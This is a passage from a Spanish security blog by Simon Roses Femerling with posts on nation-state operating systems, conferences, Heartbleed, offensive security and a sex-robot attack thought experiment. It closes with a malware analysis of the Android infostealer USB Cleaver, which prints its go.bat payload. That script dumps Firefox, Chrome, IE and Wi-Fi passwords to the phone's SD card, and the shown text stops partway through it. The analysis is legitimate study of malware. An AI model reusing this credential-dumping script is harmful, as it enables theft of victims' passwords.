Carrera por el 0day en Sistemas Operativos de Estado Nación

El cambio de sistema operativo (S0) se acerca…

Todos sabemos que Windows aún domina la arena del escritorio con Linux y MacOS tratando de cogerle y que Android domina el espacio móvil con iOS y Windows Phone intentando alcanzarlo. Lo que muchos de estos sistemas operativos tienen en común es que son desarrollados por empresas de los Estados Unidos de América (Hola NSA!).

Con la silenciosa (o no tan silenciosa 🙂 ciber guerrilla que discurre en Internet entre el Oeste y el Este no es de extrañar que muchos Estados Naciones estén desarrollando sus propios sistemas operativos para reducir la dependencia de los Estados Unidos como proveedor de software.

Los ataques cibernéticos contra Sony por Corea del Norte (supuestamente, no probado todavía) han llamado mucho la atención de los medios de comunicación – incluso el Presidente Obama ha hablado sobre la necesidad de incrementar la ciberseguridad- y para hacer las cosas más interesantes el sistema operativo utilizado por el gobierno de Corea del Norte se filtró en Internet y está siendo analizado actualmente por muchas empresas de seguridad y agencias de inteligencia para encontrar 0day.

Varios Estados Naciones han anunciado el desarrollo de su propio sistema operativo «seguro (ejem, ejem)», los que conozco:

  • Red Star OS: Basado en Linux (Red Hat) con la apariencia de Windows XP, utilizado por Corea del Norte.
  • China: Varios SO personalizados.
    • COS: China Sistema Operativo (China Operating System) basado en Linux para dispositivos móviles.
    • Kylin: Primera versión se basó en FreeBSD, aunque la versión actual está basada en Ubuntu.
  • Rusia: Varios OS personalizados.
    • RoMOS: Es una modificación de Android enfocada a dispositivos móviles. (este sistema operativo no envía ninguna información a Google).
    • Linux: El gobierno ruso anunció el cambio a un entorno Linux como sistema operativo nacional este año 2015.
  • Francia: No tienen realmente su propio sistema operativo, pero los militares franceses cambiaron a Linux Ubuntu (alegando ahorro de costes).
  • India: También anunció su propio SO seguro (no hay mucha información publicada)
  • Los Estados Unidos de América: Varios SO personalizados.
    • La Agencia de Sistemas de Información de Defensa (DISA) está desarrollando una versión segura de Android para ser utilizado en dispositivos móviles en todo el gobierno.
    • Plan X: Un SO desarrollado por el DARPA para ser utilizado por los militares para las operaciones de guerra cibernética en tiempo real.

El que los Estados Naciones estén desarrollando sus propios SO personalizados por razones defensivas fuerza a los adversarios a intentar obtener copias de estos SO para encontrar 0day si quieren realizar acciones ofensivas, por lo que podemos suponer que el mercado de 0day experimentará un crecimiento en los próximos años para obtener vulnerabilidades y rootkits para todos estos SO de Estados Naciones.

Existe una buena oportunidad para la contrainteligencia de los Estados Naciones para publicar falsos SO y software pretendiendo ser auténticos para que los adversarios gasten recursos tratando de obtener copias y tiempo analizando el software o, por qué no, incluir software ofensivo dentro del sistema operativo para atacar los sistemas utilizados para analizar el software y comprometer la red del equipo de análisis.

Con toda certeza las empresas de seguridad y agencias de inteligencia de ambos lados (Este y Oeste) deberán vigilar las tecnologías utilizadas por sus adversarios y tener preparados varios 0days para estos sistemas operativos, ya que las versiones de Windows, Linux y Android estándar probablemente desaparecerán.

Los Estados Naciones que no empleen los suficientes recursos para desarrollar sus capacidades ofensivas serán incapaces de realizar cualquier acción contra adversarios que utilicen SO personalizados en el futuro.

Lector: Si sabes de algún SO de Estado Nación envíame un mensaje y si tienes copias de cualquiera de ellos me los envías, por favor!!!! (Ya tengo Red Star OS, gracias)

¿Qué opinas de los Estados Naciones que desarrollan su propio sistema operativo?

— Simon Roses Femerling | @simonroses

Publicado en Hacking, Privacidad, Seguridad, Tecnologia | Etiquetado , , , , , | Deja un comentario

Terminando el año con un gran evento de ciberseguridad: CyberCampES

Los pasados 5, 6 y 7 de diciembre se celebró en Madrid la primera edición del CyberCampES organizado por INCIBE (el antiguo INTECO), un evento enfocado a los jóvenes y familias donde coincidieron desde talleres sobre seguridad infantil hasta universitarios para concienciarles sobre ciberseguridad, y desde luego que el objetivo se consiguió: fue todo un éxito de asistencia y participación.

Con unas 5000 personas inscritas al evento y un cartel de ponencias y talleres de lujo con expertos nacionales e internacionales, han sido tres días intensos de ciberseguridad. ¡Más foros como este son los que España necesita para seguir progresando en esta materia!

Personalmente tuve el placer de impartir una charla el sábado por la tarde sobre mi proyecto de I+D como única empresa española (VULNEX) en trabajar para el DARPA CyberFast Track (CFT) y mi presentación del proyecto en el Pentágono (puedes leer sobre esta increíble experiencia aquí).

El domingo impartí un extenso taller técnico de 3 horas sobre auditoría de código de forma práctica, donde enseñé diferentes métodos, procedimientos y herramientas para auditar código como un profesional a los asistentes. Aprovechando el taller, mostré uno de mis últimos proyectos en I+D llamado Tintorera, una herramienta de análisis estático que utiliza el compilador GCC para analizar código C/C++ permitiendo obtener inteligencia del código fuente, un tema apasionante del que prácticamente nadie habla y en el que queda mucho por hacer. Este taller lo podéis encontrar en la web de VULNEX.

Para mí fue un deleite participar en este magnífico evento donde coincidí con viejos amigos e hice nuevos. Desde aquí quiero dar las gracias a la gente de INCIBE por invitarme y espero que repitan el evento el año que viene y que cuenten conmigo otra vez 🙂

¿Qué te pareció el CyberCamp?

— Simon Roses Femerling @simonroses

Publicado en Conferencia, Hacking, OWASP, SDL, Seguridad | Etiquetado , , , , | Deja un comentario

Universo de Ciber Inteligencia

En los últimos años todo lo ciber está de moda, ¡y la inteligencia aplicada al mundo ciber no podía ser menos! El concepto de inteligencia tiene un carácter ofensivo por el uso que le dan las agencias de inteligencia (valga la redundancia) y militares, pero ahora existen demasiados fabricantes de productos de seguridad que dicen proporcionar inteligencia y ser capaces de identificar amenazas potenciales.

Con el uso de estos productos de seguridad muchas organizaciones privadas “creen” que están obteniendo inteligencia, pero en realidad su visión es muy limitada:

  1. La inteligencia se obtiene por la cantidad y calidad de sus fuentes (muchas organizaciones no saben ni sus fuentes de información).
  2. El factor humano de análisis es vital (no es instalar un producto y esperar un informe en plan “todo automatizado”).
  3. Se enfocan al exterior (Internet), como si las amenazas internas no existieran.

Es gracioso o triste, según se mire, cuando muchas organizaciones y fabricantes de productos hablan de la capacidad de monitorizar y analizar logs de sistemas, antivirus, cortafuegos, IDS, Honeypots, etc. y de proporcionar inteligencia y luego no saben ni el número de equipos, usuarios o software instalados en la organización. La inteligencia aplicada al exterior es insuficiente si no aplicamos inteligencia en el interior de la organización.

En VULNEX (disclaimer: startup en ciberseguridad fundada por mi) nos planteamos esta cuestión y hemos desarrollado algunas soluciones que ayudan en este sentido, por ejemplo BinSecSweeper, una herramienta para analizar binarios Windows, Linux y MacOS. Podemos escoger un sistema operativo y analizar todos los binarios para determinar su postura de seguridad -por ejemplo todos los 7000 (aprox.) binarios de Kali Linux en unos 30 minutos ;)- o determinar si un software tiene librerías antiguas, entre muchas más cosas.

El software hoy en día no se escribe sino que se compone, los programadores utilizan diferentes librerías y código comercial o de código abierto para componer su producto en el menor tiempo posible y sacarlo al mercado. Las organizaciones utilizan todo tipo de software sin saber si es seguro o de qué se compone, ¡error!

bss1_cap_int_univ
Fig. 1 – Escaneado software con BinSecSweeper

Otra necesidad que nos surge en VULNEX es obtener inteligencia de código fuente a la hora de realizar auditorías de código. Las auditorías son complejas, largas y generalmente limitadas en el tiempo y por eso es necesario obtener información valiosa para focalizar el trabajo. Con este objetivo hemos desarrollado Tintorera, un plugin para GCC que, mientras compilamos un proyecto en C, realiza un análisis que nos ayuda a entender el código sin haber leído el código fuente en sí. En este punto no estamos buscando vulnerabilidades, pero sí que queremos entender la relación entre funciones, métricas de código, complejidad y otros parámetros que nos ayudarán a ser más efectivos para escrutar el código y encontrar vulnerabilidades. Inteligencia aplicada al código fuente! 

tintorera1
Fig. 2 – Informe de Tintorera

tintorera2
Fig. 3 – Visualizando código

Si crees que tu organización está haciendo ciber inteligencia, replantéatelo y determina vuestras capacidades de análisis y visión reales que seguramente no son tan buenas como crees…

Sin duda mucho queda por hacer en la ciber inteligencia a nivel externo e interno para obtener una visión real y global de las amenazas.

¿Tiene tu organización un proceso de ciber inteligencia?

— Simon Roses Femerling @simonroses

Publicado en Hacking, Hacking Etico, SDL, Seguridad, Tecnologia | Etiquetado , , , | Deja un comentario

Ataques Teóricos a un sex robot: Roxxxy

La empresa True Companion comercializa desde hace unos años el primer robot para tener relaciones sexuales: Roxxxy. Por desgracia no es posible encontrar demasiada información sobre las características técnicas del robot en la propia web de la empresa, pero sí que podemos sacar unas cuantas conclusiones y he pensado que sería divertido hacer un post sobre posibles vectores de ataque.

Disclaimer: todo lo que aquí descrito se basa en información obtenida de la web de la compañía y mi imaginación, ningún ataque ha sido probado en real (aún) ya que no dispongo de este robot, pero si algún lector quiere enviarme un par de robots para que haga ingeniería inversa, estaré encantado de informarle primero de todos los 0day que encuentre 🙂

Roxxxy-Poupee-Robot-Sexuel-True-Companion-01

Se pueden elegir diferentes versiones a gusto del consumidor: color de pelo, personalidad (hasta 5 diferentes, que se pueden personalizar más aún por el usuario), y según el modelo hasta puede hablar, tener cierta comprensión y responder al tacto. Estas características me hacen pensar que el robot tiene que tener diferentes tipos de sensores y microprocesadores. Además cuenta con puerto USB, Ethernet y Wi-fi por lo que también tiene capacidad de comunicarse (puede recibir actualizaciones vía Internet). El USB se conecta a un ordenador Windows para que el robot puede hablar con nosotros.

Un interesante concepto es que podemos prestar la personalidad de nuestro robot personalizado a otros usuarios en el foro de la empresa (Swingers para robots) de forma temporal, esto significa que el robot puede cambiar su personalidad por otra creada por otros usuarios.

Ahora con esta información planteamos diferentes escenarios teóricos/ficticios de ataque:

1. El robot podría traer de fabrica algún implante malicioso para comprometer el ordenador del usuario vía USB.
2. Se podría incluir un AP malicioso, tipo Wifi Pineapple, dentro del robot para realizar ataques a la red/sistemas.
3. Un atacante podría robar el perfil (personalidad) del robot para revendérselo al cliente (Ransomware).
4. Un atacante podría modificar los motores internos del robot para hacer daño al cliente cuando este metido “en faena” (aunque dudo que el robot tenga motores suficientemente potentes en la versión actual).
5. No se dice nada de la vista del robot, pero en caso de tenerla, se podría usar sus cámaras para espiar al usuario (¡hola, NSA!)
6. Igualmente se podría usar el robot para grabar la voz del cliente.
7. Y, con toda esta información, chantajear al cliente para no hacer públicos sus gustos/tendencias sexuales.
8. Un atacante podría enviar una personalidad maliciosa a los foros para que las víctimas se lo instalen en sus robots con diferentes fines.

31400

Mucho hablamos de riesgos a las infraestructuras críticas, la Nube, Big Data y el Internet de las Cosas (IoT), pero en los próximos años la seguridad y riesgos en los robots cobrarán más relevancia cuando estén cada vez más presentes en nuestras vidas personales y profesionales…

¿Qué más ataques se te ocurren? 😉

— Simon Roses Femerling / @simonroses

Publicado en Hacking, Seguridad, Sin categorizar | Etiquetado , , , , , | Deja un comentario

Mi visita al Pentágono

Pues sí caballeros, he visitado el Pentágono el pasado mayo gracias a un evento organizado por el DARPA (Agencia de Proyectos de Investigación Avanzados de Defensa del Departamento de Defensa de Estados Unidos) llamado “Demo Day”, donde se presentaba lo último en proyectos de ciberseguridad, robótica y tecnología militar, entre otras muchas cosas, y tengo que decir que fue toda una experiencia 🙂

pentagono

Mi asistencia al evento se debe que a VULNEX participó en el DARPA Cyber Fast Track (CFT), (por cierto, única empresa española) con un desarrollo en tecnología para mejorar la seguridad del software (más información sobre el proyecto aquí). A continuación os dejo una captura de la tecnología que creé para el proyecto: BinSecSweeper.

binsecsweeper_v08

El primer día del evento, miércoles 21, tuve la oportunidad de ver el Plan X, un programa para realizar operaciones militares en el ciberespacio controlado mediante gafas de realidad virtual o una pantalla táctil a lo más puro estilo Johnny Mnemonic, un impresionante brazo robótico para soldados heridos en combate, gamificación aplicada a la seguridad informática, cascos militares con realidad aumentada, así como todo tipo de soluciones en ciber seguridad. ¡Todo muy espectacular!

El segundo día, jueves 22, fue en exclusiva para las personas que habíamos participado en el CFT: éramos unos 100 stands en el patio interior del Pentágono, donde teníamos que exponer nuestras demos y atender a todos los visitantes. En mi stand tuve el placer de charlar y presentar BinSecSweeper a gente del US Cyber Comand, Navy, Army, NSA, la academia de West Point, contratistas de defensa y personas de todo tipo de agencias 😉 Sin duda, una experiencia muy interesante.

El tercer día, viernes 23, estuvimos en el Steven F. Udvar-Hazy Center, Museo Nacional del Aire y Espacio, y fue increíble. Durante todo el día los participantes del CFT estuvimos en la sala de conferencias debatiendo sobre diversos temas y el estado actual de la ciberseguridad, pero lo mejor fue por la tarde, cuando a las 18:00 cerraron el museo y nos lo dejaron entero para nosotros. Os puedo decir que es uno de los mejores museos en que he estado nunca: pudimos ver todo tipo de aviones de la Segunda Guerra Mundial, helicópteros, un concorde, el mismísimo Blackbird o incluso el transbordador Discovery (todo auténtico ;). ¡¡Recomiendo visitar este museo alguna vez en la vida!!

discovery

blackbird

Aunque el CFT ya finalizó, espero que en algún momento vuelva el programa y que el DARPA siga apoyando a individuos y pequeñas empresas como VULNEX que tienen altas capacidades de innovación.

Agradecer a la gente del DARPA y BITS la fantástica organización del evento y por supuesto haber podido participar en el CFT.

Más información del evento aquí.

Twitter: @simonroses

Publicado en Conferencia, Hacking, Seguridad, Tecnologia | Etiquetado , , , , , , | Deja un comentario

Heartbleed: sangre, dolor y código

La semana pasada todas las alarmas saltaron cuando se publicó un grave fallo de seguridad llamado Heartbleed en la librería criptográfica OpenSSL, que utilizan tanto una gran parte de los servidores en Internet así como mucho software de seguridad.

Como no podía ser de otra manera, las teorías conspiracionistas hablan de este bug introducido o abusado desde hace tiempo por la NSA. Lo que sí está claro es que este bug deja en evidencia que el software Open Source no es más seguro si nadie lo mira (se ha tardado dos años en identificar este fallo!!!!) y si no se siguen unas prácticas de desarrollo seguro.

Desconozco si el equipo de OpenSSL utiliza algún marco de desarrollo seguro, pero que un solo programador pueda realizar cambios al código sin ningún tipo de validación ¿? es un error mucho más grave que el propio bug.

Sin duda es un duro golpe a la comunidad Open Source que se suele presentar como más seguro, ya que cualquiera puede ver el código. Este fallo demuestra que solo por ser código abierto no es garantía suficiente.

No me cansaré de repetirlo: da igual que seas software Open Source o software comercial, que tu empresa solo desarrolle software de uso interno o que tengas un ISV que te desarrolla a medida, siempre se necesita un marco de desarrollo seguro como el MS SDL, BSIMM o OpenSAMM.

Esperemos que este bug sea una llamada de atención para todo el que desarrolle software sobre la importancia de la seguridad e invertir en ella.

Y puedo confirmaros que este bug funciona a la perfección 😉

¿Qué opinión te merece este bug?

— Simon Roses Femerling

Publicado en Hacking Etico, Seguridad, Tecnologia | Etiquetado , , , , , | Deja un comentario

Españoles en la Black Hat ASIA

Ya estoy de vuelta de la Black Hat ASIA 2014 en Singapur, donde tuve el placer de dar una charla sobre seguridad de tecnologías multiplataforma para desarrollar apps en móviles. La Black Hat ASIA no se hacía desde el 2008 y la última vez en Singapur fue en el 2003, ¡cómo pasa el tiempo!

srf_bhasia2014_1

En el evento coincidimos varios españoles, como Jose Miguel Esparza con su taller sobre análisis PDF, Leonardo Nve sobre ataques DNS y por último Alberto García Illera y Javier Vázquez Vidal sobre hacking en coches.

El evento tuvo lugar en el increíble hotel Marina Bay Sands (si no lo conocéis, os recomiendo que hagáis una búsqueda en Google) con una gran acogida de unos mil asistentes. En la cena de speakers nos llevaron a un conocido restaurante chino donde pudimos probar diversas especialidades y ponernos finos a base de vino tinto de la Rioja (argentina 😉 ; luego, como no podía ser de otra manera, ¡exploramos la noche de Singapur!

srf_bhasia2014_2

Mi charla fue la primera del primer día del evento y fue todo un éxito: una sala llena de gente incluso de pie, ya que no había sillas para todo el mundo, y muchas preguntas, algo atípico en la cultura asiática, por lo que quiero dar las gracias a todos los asistentes!!

Mi primera vez en Singapur, pero sin duda no será la última, quizás el próximo año 

Mi ponencia disponible en la web de VULNEX.

— Simon Roses Femerling

Publicado en Conferencia, Hacking, Hacking Etico, Seguridad, Tecnologia | Etiquetado , , , , | Deja un comentario

La necesidad de evolucionar de una seguridad defensiva a una seguridad ofensiva

Esta mañana he visto una oferta de trabajo para Facebook en la que buscan ingenieros en seguridad ofensiva, por lo que he pensado que sería una estupenda oportunidad para explorar esta idea y su aplicación en la seguridad corporativa.

Tradicionalmente la seguridad informática en las empresas solo tiene un rol defensivo con el único apoyo de algunos productos (cortafuegos, antivirus, IDS, etc.). Cuando semana tras semana leemos en los medios cómo empresas de todos los tamaños son atacadas y comprometidas con éxito, ¡algo está fallando!

Internet y sus peligros han evolucionado pero la seguridad corporativa no: aún existen demasiadas empresas que siguen esquemas antiguos de décadas anteriores para proteger su información.

Al igual que los Estados-Naciones no solo desarrollan sus capacidades defensivas sino además las ofensivas, las empresas también deberían potenciar sus capacidades ofensivas para poder evaluar su propia seguridad de forma efectiva (no para atacar a otras empresas).

Es imposible que los consultores de seguridad/pentesters sean capaces de verificar la seguridad de una empresa en un tiempo limitado, que por desgracia es el modelo que siguen la mayoría de empresas. Nadie presiona al médico cuando tiene que operar o al fontanero cuando soluciona una avería, pero sí presionamos a los consultores de seguridad para obtener resultados detallados en un corto espacio de tiempo.

Es necesario que la seguridad corporativa evolucione con personal ofensivo que realmente entienda a los atacantes (mentalidad atacante), que sean capaces de atacar sistemas y aplicaciones y tengan cierta libertad para ello en la empresa. Estos individuos son los que pueden elevar la seguridad al siguiente nivel.

Su objetivo es atacar la empresa de forma constante utilizando técnicas reales para descubrir los puntos débiles y reforzarlos, analizar malware identificado en la empresa e incluso establecer trampas para los atacantes (honeypots). No debemos confundir con Counter-Hacking, que es la idea que si nos atacan debemos responder atacando. Ninguna empresa debería utilizar sus capacidades ofensivas para contraatacar por todos los problemas que esto puede acarrear (legales y éticos). Las capacidades ofensivas solo las debemos usar internamente para mejorar la seguridad y punto.

Las empresas que no sepan evolucionar su seguridad a un modelo defensivo y ofensivo y potenciar no solo la tecnología, sino también sus procesos y personas (la famosa pirámide: personas, procesos y tecnologías) están condenadas a ser comprometidas de por vida.

¿Tiene tu empresa capacidades ofensivas? ¿Cómo se utilizan?

— Simon Roses Femerling

Publicado en Hacking, Hacking Etico, Seguridad | Etiquetado , , , | Deja un comentario

¡Premio a VULNEX y ponencia en RSA USA!

El mes de febrero ha sido muy interesante a la par que ajetreado. El pasado 17 de febrero tuve el placer de recoger el primer reconocimiento a VULNEX por parte de Red Seguridad, que nos otorgó el trofeo a la Innovación TIC por nuestra colaboración con el DARPA (Agencia de Proyectos de Investigación Avanzados de Defensa del Departamento de Defensa, EE.UU.), cuyo fruto ha sido BinSecSweeper, una tecnología que nos permite verificar la postura de seguridad de cualquier binario.

Podéis encontrar una estupenda crónica del evento aquí y a continuación os incluyo una foto del premio 🙂

Trofeo_VULNEX

Los días 24-28 de febrero asistí por primera vez a la mítica conferencia RSA USA en San Francisco (EE.UU.), en la que participé con una ponencia sobre seguridad en el desarrollo de software y cómo evaluar su seguridad con BinSecSweeper titulada: “Writing Secure Software is hard, but at least add mitigations!”. Aprovecho para dar las gracias a los asistentes por el buen feedback (¡me alegro que gustara mi ponencia!) y por supuesto a la organización por un magnífico congreso.

RSA

La presentación ya está disponible en la web de VULNEX.

BinSecSweeper_RSAUSA2014_1

BinSecSweeper_RSAUSA2014_2

Ha sido la primera vez que asistía a RSA USA, pero sin duda no será la última. En mi opinión, una cita obligada para todos los profesionales de la ciberseguridad.

¡Hasta el próximo año!

— Simon Roses Femerling

Publicado en Conferencia, Privacidad, SDL, Seguridad | Etiquetado , , , , , | Deja un comentario

Análisis de Android Malware: USB Cleaver

Los próximos 29 y 30 de enero impartiré un curso sobre hacking en dispositivos móviles y Apps en Android e iPhone en Madrid, España. Para los que ya estáis apuntados y para los que no (¡aun estáis a tiempo!), he pensado ofreceros un pequeño adelanto de alguno de los análisis que haremos 😉

El curso cubre diversos temas, como seguridad de plataformas móviles, vulnerabilidades y exploits, ingeniería inversa de Apps y malware, subversión de malware y pentesting con móviles, entre otras cosas, además de múltiples ejercicios prácticos.

Ahora vamos a analizar un malware para Android conocido como USB Cleaver, que tiene una característica muy interesante: trae un payload para robar información de equipos Windows. Es lo que se conoce como un Infostealer.

Cuando un teléfono infectado con este malware se conecta a un equipo Windows que tenga activado autorun (desactivado en la mayoría de Windows, ¿os acordáis de Stuxnet? :), se ejecuta una serie de herramientas Windows que roba información como la configuración del equipo, contraseñas de navegadores (Firefox, Chrome e IE) y la contraseña wifi. Esta información se guarda en la memoria externa SD del teléfono.

Primero vamos a ver cómo funciona y luego haremos reversing de su código.

USB Cleaver en acción

El primer paso será infectar un Android, una vez infectado aparece un icono llamado “USB Cleaver”, ver Fig. 1.

srf_blog_usbcleaver_malware1
Fig. 1 – Android infectado con USB Cleaver

Al ejecutar el malware por primera vez nos indica que debemos bajar un payload de 3mb. Esto son las herramientas Windows que el malware utiliza para robar información del equipo. Ver Fig. 2 y 3.

srf_blog_usbcleaver_malware2
Fig. 2 – Nos pide bajar el payload

srf_blog_usbcleaver_malware3
Fig. 3 – Bajando payload

Toda la comunicación del malware la estamos examinando con el sniffer Wireshark y en la Fig. 4 podemos ver cómo se baja un fichero zip (“PK”).

srf_blog_usbcleaver_malware4
Fig. 4 – Bajando fichero zip con el payload Windows

Ahora que ya tenemos el payload bajado, nos aparece un menú con tres opciones: activar y desactivar el payload, ficheros logs y volver a bajar los payloads (en caso de alguna actualización de las herramientas Windows), ver Fig. 5.

srf_blog_usbcleaver_malware5
Fig. 5 – Menú principal de USB Cleaver

Procedamos a configurar el payload, por lo que pulsaremos en Activar/Desactivar Payloads. Ahora en el siguiente menú podemos activar el robo de información: configuración del sistema y robo de contraseñas de navegadores y wifi. Ver Fig. 6.

srf_blog_usbcleaver_malware6
Fig. 6 – Activar opciones del payload

Ya solo tendríamos que esperar a que el teléfono se conecte a un equipo Windows con autorun activado y bingo!!

En las entrañas de USB Cleaver

Ahora estudiemos el USB Cleaver desde otra perspectiva, en este caso vamos a la terminal de Android para ver qué ficheros crea. Como mencioné anteriormente, el malware crea una carpeta en la sdcard, por lo que allí empezaremos el análisis.

En la Fig. 7 podemos observar que se ha creado una carpeta llamada “usbcleaver” y dos ficheros: autorun.inf y go.bat. El fichero inf es para el autorun de Windows y el go.bat (en estos momentos vació) ejecuta el payload.

srf_blog_usbcleaver_malware7
Fig. 7 – Explorando la sdcard

Continuamos entrando en el directorio de usbcleaver y vemos tres directorios más, ver Fig. 8.

srf_blog_usbcleaver_malware8
Fig. 8 – Dentro del directorio /sdcard/usbcleaver/

En el directorio logs es donde se guarda la información robada y en config podemos encontrar unos ficheros de configuración que utiliza el payload. Si entramos en el directorio system veremos una serie de ejecutables Windows, esto es el payload que previamente hemos bajado. Ver Fig. 9 y Fig. 10.

srf_blog_usbcleaver_malware9
Fig. 9 – El payload de Windows

srf_blog_usbcleaver_malware10
Fig. 10 – Directorio /sdcard/usbcleaver/config

Antes mencioné que el fichero go.bat está vacio, pero una vez que hayamos configurado el payload desde la aplicación, Fig. 6, se creará el fichero go.bat con la siguiente información y el payload ya estará listo para ser ejecutado.


@ECHO off

CD usbcleaver\system >NUL

:: Finds the location of the flash partition and sets master variable.
IF EXIST z:\usbcleaver\config\Drive_Location.cfg SET flshdrv=z:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST y:\usbcleaver\config\Drive_Location.cfg SET flshdrv=y:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST x:\usbcleaver\config\Drive_Location.cfg SET flshdrv=x:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST w:\usbcleaver\config\Drive_Location.cfg SET flshdrv=w:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST v:\usbcleaver\config\Drive_Location.cfg SET flshdrv=v:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST u:\usbcleaver\config\Drive_Location.cfg SET flshdrv=u:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST t:\usbcleaver\config\Drive_Location.cfg SET flshdrv=t:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST s:\usbcleaver\config\Drive_Location.cfg SET flshdrv=s:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST r:\usbcleaver\config\Drive_Location.cfg SET flshdrv=r:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST q:\usbcleaver\config\Drive_Location.cfg SET flshdrv=q:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST p:\usbcleaver\config\Drive_Location.cfg SET flshdrv=p:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST o:\usbcleaver\config\Drive_Location.cfg SET flshdrv=o:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST n:\usbcleaver\config\Drive_Location.cfg SET flshdrv=n:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST m:\usbcleaver\config\Drive_Location.cfg SET flshdrv=m:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST l:\usbcleaver\config\Drive_Location.cfg SET flshdrv=l:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST k:\usbcleaver\config\Drive_Location.cfg SET flshdrv=k:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST j:\usbcleaver\config\Drive_Location.cfg SET flshdrv=j:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST i:\usbcleaver\config\Drive_Location.cfg SET flshdrv=i:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST h:\usbcleaver\config\Drive_Location.cfg SET flshdrv=h:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST g:\usbcleaver\config\Drive_Location.cfg SET flshdrv=g:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST f:\usbcleaver\config\Drive_Location.cfg SET flshdrv=f:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST e:\usbcleaver\config\Drive_Location.cfg SET flshdrv=e:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST d:\usbcleaver\config\Drive_Location.cfg SET flshdrv=d:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST c:\usbcleaver\config\Drive_Location.cfg SET flshdrv=c:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
IF EXIST b:\usbcleaver\config\Drive_Location.cfg SET flshdrv=b:
IF EXIST %flshdrv%\usbcleaver\config\Drive_Location.cfg GOTO FlshDrvFound
GOTO END
:FlshDrvFound

:: Checks to see if the payload is disarmed
IF NOT EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO SkipDisarm
IF EXIST %flshdrv%\usbcleaver\config\Disarm_Payload.cfg GOTO End
:SkipDisarm

:: Sets Variables and paths to clean up pathnams later on
IF NOT EXIST %flshdrv%\usbcleaver\logs\%computername% MD %flshdrv%\usbcleaver\logs\%computername%
SET t=%time:~0,2%_%time:~3,2%_%time:~6,2%
SET logdir="%flshdrv%\usbcleaver\logs\%computername%"
SET log="%flshdrv%\usbcleaver\logs\%computername%\%computername%-[%t%].log"
SET tmplog="%flshdrv%\usbcleaver\logs\%computername%\%computername%_TEMP.log"
SET progdir="%flshdrv%\usbcleaver\system\"
SET config="%flshdrv%\usbcleaver\config\"
SET installdir="%flshdrv%\usbcleaver\system\install"
SET /p eipurl=<"%flshdrv%\usbcleaver\config\External_IP.cfg"

:: Header information
ECHO ----------------------------------------------------------------------------------------------------------------------------- > %log% 2>&1
ECHO USB Cleaver Payload [Time Started: %DATE% %TIME%] >> %log% 2>&1
ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO Computer Name is: %computername% and the Logged on User Is: %username% >> %log% 2>&1

ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO +          [System info]           + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
IPCONFIG /all >> %log% 2>&1

ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
Echo +         [Dump Firefox PW]        + >> %log% 2>&1
Echo +----------------------------------+ >> %log% 2>&1
%progdir%\PasswordFox.exe  /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log%  >> NUL
DEL /f /q %tmplog% >NUL

ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO +         [Dump Chrome PW]         + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\ChromePass.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log%  >> NUL
DEL /f /q %tmplog% >NUL

ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO +           [Dump IE PW]           + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\iepv.exe /stext %tmplog% >> %log% 2>&1
COPY %log%+%tmplog%* %log%  >> NUL
DEL /f /q %tmplog% >NUL

ECHO ----------------------------------------------------------------------------------------------------------------------------- >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
ECHO +          [Dump WIFI PW]          + >> %log% 2>&1
ECHO +----------------------------------+ >> %log% 2>&1
.\WirelessKeyView.exe /stext %tmplog% >> %log% 2>&1
